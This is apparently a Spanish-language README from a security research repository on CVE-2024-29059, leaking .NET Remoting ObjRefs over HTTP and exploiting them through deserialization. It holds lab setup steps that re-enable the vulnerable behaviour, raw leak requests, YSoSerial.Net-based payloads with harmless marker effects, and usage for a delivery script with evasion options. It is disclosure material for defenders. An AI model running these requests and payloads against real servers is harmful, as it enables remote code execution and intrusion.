
Recursos adicionales para filtrar y explotar ObjRefs a través de HTTP .NET Remoting (CVE-2024-29059)
ObjRef a través de HTTP .NET Remoting (CVE-2024-29059)Este repositorio proporciona más detalles y recursos sobre la entrada del blog de CODE WHITE del mismo nombre Filtrando ObjRefs para Explotar HTTP .NET Remoting:
ObjRefTypeFilterLevel.LowLo siguiente se basa en Configure Application Insights for your ASP.NET website de Microsoft y describe cómo crear una aplicación web ASP.NET vulnerable con Visual Studio 2019 (necesario para apuntar a .NET Framework 4.5.2, aún puede descargarlo en https://aka.ms/vs/16/release/vs_community.exe) y Microsoft Application Insights:
Si las actualizaciones de .NET Framework de enero de 2024 están instaladas, abra el archivo Web.config y agregue lo siguiente bajo /configuration/appSettings para reactivar el comportamiento vulnerable:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
Luego puede ejecutar la aplicación web a través de Depurar > Iniciar sin depurar o presionando Ctrl+F5.
ObjRefPuede usar las siguientes solicitudes para filtrar ObjRefs de instancias de MarshalByRefObject almacenadas en el LogicalCallContext:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
Luego, las URIs de ObjRef filtradas se pueden emparejar usando la siguiente expresión regular:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Hemos creado dos cargas útiles de deserialización simples basadas en el gadget TextFormattingRunProperties de YSoSerial.Net con cargas XAML personalizadas que funcionan bajo las restricciones causadas por TypeFilterLevel.Low para realizar lo siguiente:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Los encabezados HTTP se pueden observar en la respuesta del servidor a la solicitud HTTP .NET Remoting.
El script RemoteApplicationMetadata.py proporciona una forma de filtrar un ObjRef existente y luego usarlo en una solicitud posterior para entregar una carga útil dada:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Ejemplo:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v